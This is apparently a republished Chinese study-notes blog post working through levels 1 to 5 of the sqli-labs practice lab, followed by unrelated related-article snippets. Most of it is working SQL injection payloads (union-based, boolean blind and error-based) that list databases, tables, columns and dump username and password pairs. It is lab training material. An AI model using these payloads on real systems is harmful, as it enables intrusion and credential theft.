sqli-labs-master(Less1--Less5)

Sql-labs-master通关攻略_sqli-labs-master 全部通关-CSDN博客

sqli-labs-master靶场搭建,1-10关详解-CSDN博客

小白勇闯sqli-labs-master1-22关_sqlilabs第22关-CSDN博客

搭建靶场

靶场:

GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.

下载压缩包,将压缩包解压到小皮的根目录www下

并用小皮打开网站

Less1

打开环境

判断是否存在注入,注入是字符型还是数字型

?id=1

判断是否由字符注入,输入单引号,双引号进行测试

?id=1' --+

判断存在单引号的注入问题,接下来order by猜解字段

地址栏依次输入

?id=1' order by 1--+

?id=1' order by 2--+

?id=1' order by 3--+

?id=1' order by 4--+

到4的时候才发生报错,说明一共有三个字段

判断显示字段

?id=-1' union select 1,2,3--+

判断版本

?id=-1' union select 1,database(),version()--+

显示表名

?id=-1' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema=database()--+

显示user表下的字段名

?id=-1' union select 1,group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='users'--+

Less2

显错注入_数字型不闭合

please input the id as parameter with numeric value,请输入ID作为参数和数值.

判断是否存在注入,注入是字符型还是数字型

?id=1

?id=2

可以看到名字与密码的参数都发生了变化,也就是这两个地方的值是要与数据库进行交互的,那么这两个地方也有可能会是我们将来注入时回显内容的地方。

猜解 SQL 查询语句中的字段数 order by N

地址栏依次输入:

?id=1 order by 1

?id=1 order by 2

?id=1 order by 3

?id=1 order by 4

判断回显位置

?id=111 union select 1,2,3--+

可以看到Login name与Password这两个地方可以去显示我们要查询的内容,现在开始先查询数据库

获取当前数据库

?id=111 union select 1,2,database()--+

数据库为security,下一步就是要去查找这个数据库下面的所有表。MYSQL数据库的所有表的信息都存储在了information_schema数据库里面的tables这个表里(information_schema.tables中两列table_schema是数据库名,table_name中表名。)

获取数据库中的表

?id=111 union select 1,table_name,database()from information_schema.tables where
table_schema = database() --+

?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

group_concat(table_name)就是把多行的table_name在一行里面显示

from information_schema.tables即table_name的内容在这个数据库里的tables表里查询,并且有个条件是table_name这个表所属的数据库是security

获取表中的字段名

information_schema.columns表中三列table_schema是数据库名,
table_name中表名,column_name是列名。

?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

账号密码存储在sercurity数据库里面的users表里面的username与password字段里面,现在对账号与密码进行查询

?id=-2 union select 1,2,group_concat(username,'-',password) from security.users

SQL注入之Sqli-labs第二关_sqllabs第二关-CSDN博客

 Less3

判断页面是否存在回显

正常的参数显示正常:

?id=1

输入错误的参数

?id=1'

存在回显:''1'') LIMIT 0,1'。去掉外面的单引号得到:'1'') LIMIT 0,1。由此可判断闭合为:')

构造bool语句判断是否存在sql注入

?id=1') and 1=1 --+

正确显示

?id=1') and 1=2 --+

错误显示

判断可知,存在sql注入

开始注入

1.使用order by确定字段数

?id=1') order by 3 --+

?id=1') order by 4 --+

输入3显示正常,输入4报错,则判断数据库中的字段数为3

2.使用union进行注入

判断回显的位置:  (union查询前面的参数必须错误)

?id=-1') union select 1,2,3 --+

通过回显的位置构造语句查询数据库版本与名称:

?id=-1') union select 1,version(),database() --+

构造语句爆出表名:

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

造语句爆出字段名:

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

爆出敏感信息:  (只需要爆出用户名和密码即可)

?id=-1') union select 1,(select group_concat(username,0x3a,password) from security.users),database() --+

SQL注入sqli-labs第三关(less-3)-CSDN博客

Less4

判断注入类型

?id=1") and 1 -- a

页面正常显示

?id=1") and 0 -- a

页面显示为空,异常

由报错信息可知注入类型为双引号字符型。闭合方式是)

判断字段数

地址栏依次输入:

?id=1") order by 1 -- a

?id=1") order by 2 -- a

?id=1") order by 3 -- a

?id=1") order by 4 -- a

第4个字段排序时报错,确定返回结果的字段数为 3

判断显示位

?id=-1") union select 1,2,3 -- a

脱库

?id=-1") union select 1,(
    select group_concat(schema_name)
    from information_schema.schemata
),3 -- a

获取 security 库的所有表

?id=-1") union select 1,(select group_concat(table_name)from information_schema.tableswhere table_schema = 'security'),3 -- a

报错了,目前还不能理解并解决报错信息

SQLi LABS Less-4 联合注入+报错注入_sql-liab less4-CSDN博客

换一种方法进行尝试

爆出所有库

?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

爆出指定数据库(security)中的所有表

?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

爆指定表(users)的所有列

?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

爆指定列(id)的所有数据

?id=-1") union select 1,(select group_concat(id) from users),3--+

sqli-labs less4_输入单引号网页报错-CSDN博客

Less5

判断注入类型

?id=1

?id=1'

根据返回的语法错误可以判断是字符型

判断数据库长度

依次进行尝试

?id=1' and length(database())= 7 --+

?id=1' and length(database())= 8 --+

?id=1' and length(database())= 9 --+

数据库名称由8位构成

猜测数据库名称

(从第一位开始猜)

?id=1' and left(database(),1)>'a' --+

?id=1' and left(database(),1)>'a' --+

说明第一位在a和z之间

同理,不断缩小范围进行尝试,可以得知,第一位是 s

猜第二位数

?id=1' and left(database(),2)>'sa' --+

?id=1' and left(database(),2)>'sz' --+

以此类推,直到推出第8位:最后数据库为security

具体解法链接如下,但我并没有做出来

sqli-labs-master第五关Less-5 Double Query- Single:方式一-CSDN博客

换一种方法进行尝试

爆库

?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+


 

?id=1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.columns group by a%23

爆库

 ?id=1'union select null,count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a --+

爆表名

?id=1'union select null,count(*),concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+

报错:子查询返回多余一行

用 limit函数,改limit值,依次查列名

?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

查字段名

?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

sqli-labs(5)_sqli-labs-maste下面有多少个数据库-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/31.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浅谈成为程序员后我明白的道理

当我成为程序员后,我明白了以下几点: 编程是一门持续学习的技能:作为程序员,我意识到编程是一个不断发展和变化的领域。新的编程语言、框架和技术不断出现,需要不断学习和适应。我意识到要持续学习新的知识和技能&…

机器学习—特征预处理和降维(四)

什么是特征预处理? 通过一些转换函数将特征数据转换成更加适合算法模型的特征数据过程 1包含内容 数值型数据的无量纲化: 归一化标准化 2特征预处理API sklearn. preprocessing为什么要进行归一化 or 标准化? 特征的单位或者大小相差较大…

学习了解大模型的四大缺陷

由中国人工智能学会主办的第十三届吴文俊人工智能科学技术奖颁奖典礼暨2023中国人工智能产业年会于2024年4月14日闭幕。 会上,中国工程院院士、同济大学校长郑庆华认为,大模型已经成为当前人工智能的巅峰,大模型之所以强,是依托了…

请警惕,这10本期刊已被SCI剔除,部分涉嫌灌水

科睿唯安于4月15日更新了SCIE、SSCI、AHCI、ESCI四大数据库最新收录期刊目录。 2024年第一版——2024年1月24日更新 2024年第二版——2024年2月19日更新 2024年第三版——2024年3月18日更新 2024年第四版——2024年4月15日更新 本次目录中共收录期刊23368本。 【SCIE数据…

苹果开发初学者指南:Xcode 如何为运行的 App 添加环境变量(Environmental Variable)

概览 Xcode 15 在运行 SwiftUI 代码时突然报告如下警告: Error: this application, or a library it uses, has passed an invalid numeric value (NaN, or not-a-number) to CoreGraphics API and this value is being ignored. Please fix this problem. 不仅如此…

react之useState详解

1. 为什么要用useState? 它是React 16.8 的新特性,我们在React里面一般都是用Class去写组件,但是有时候会发现不用它更方便,但是问题来了:不用Class的时候,数据的状态改变如何存储呢?如果你用 …

数据结构-堆详解

堆 图片: 二叉堆的父节点为这个子树的最值。 如何维护它。 我们发现它是一棵二叉树,那就自然满足若父节点为 x x x 则左儿子节点为 x 2 x\times2 x2 右儿子为 x 2 1 x\times 2 1 x21 这是显然的,但如果写成指针或结构体就太麻烦了&…

Redis的特性与安装

回顾 Redis是一个在内存中存储数据的中间件,可以用来当数据库用,也可以作为缓存用(这里的缓存往往是对数据库缓存)。 中间件:和业务无关的服务,功能更加通用,如:数据库,缓存,消息队…

【笔试强训】Day1 --- 数字统计 + 两个数组的交集 + 点击消除

文章目录 1. 数字统计2. 两个数组的交集3. 点击消除 1. 数字统计 【链接】:数字统计 解题思路:模拟,利用数学知识,计算每个数字中2出现的个数。(这里也可以将数字转换成字符串来统计字符’2’出现的个数&#xff09…

如何使用Flask搭建web程序框架并实现无公网IP远程访问本地程序

文章目录 前言1. 安装部署Flask并制作SayHello问答界面2. 安装Cpolar内网穿透3. 配置Flask的问答界面公网访问地址4. 公网远程访问Flask的问答界面 前言 Flask是一个Python编写的Web微框架,让我们可以使用Python语言快速实现一个网站或Web服务,本期教程…

bonding原理分析和问题排查

bonding原理 发送端: 使用网卡bond3模式(广播模式BOND_MODE_BROADCAST)将报文从两个网卡同时发出,无需修改报文。 接收端: 根据发送节点时间的链路通断状态,接收端设置一条线路为活动线,另一条…

免费泛域名SSL如何申请,和通配符有什么区别

-----让我们明确什么是泛域名。所谓泛域名,是指使用星号(*)作为子域名的占位符,它可以匹配任意子域名。-----而通配符在域名中,它可以出现在主域名的任何位置,它可以用于主域名和子域名的保护。 主要应用场…

XZ-Utils后门事件过程及启示

Part.01 背景 XZ-Utils(曾经叫做LZMA Utils)是一款开源的无损压缩命令行工具,是用C语言编写的跨平台工具,可以用于类Unix系统和Windows系统。在多数情况下,xz的压缩率要好过gzip和bzip2,解压速度也快过bz…

Java的数组定义和使用

目录 1.前言 2.数组的概念 3.在Java中的创建和初始化 3.1数组的创建 3.2数组的初始化 4.关于使用 4.1数组元素的访问 4.2数组的遍历 4.3length和length()的区别 5.数组其实是引用类型数据 5.1初始JVM的内存分布 5.2基本类型变量与引用类型变量的区别 5.3关于null的认识 5.4设计…

工作流JBPM画图与配置

文章目录 ☃️7.1 画图☃️7.2 配置7.2.1 配置任务办理人7.2.1.1 写死的方式配置任务办理人(不推荐)7.2.1.2 #{}方式配置任务办理人7.2.1.3 实现接口方式配置任务办理人7.2.1.4 方法指定方式分配任务办理人 7.2.2 配置节点属性7.2.2.1 判断节点(decision…

Sourcetree安装使用(补个笔记)

Sourcetree介绍 Sourcetree是一款免费的Git图形化客户端,它由Atlassian开发,提供了跨平台的支持,可运行在Windows和Mac操作系统上。Sourcetree可以让开发者更方便地使用Git来管理代码,不需要在命令行中输入复杂的Git命令&#xf…

HTML学习笔记:链接target属性

关于target的使用&#xff1a; <a href"https://www.baidu.com" target"_parent">网址链接</a>其中关于target四个特殊目标的理解&#xff0c;W3school上的解释为&#xff1a; HTML 标签的 target 属性 其中_black和_self两个属性很好理解&…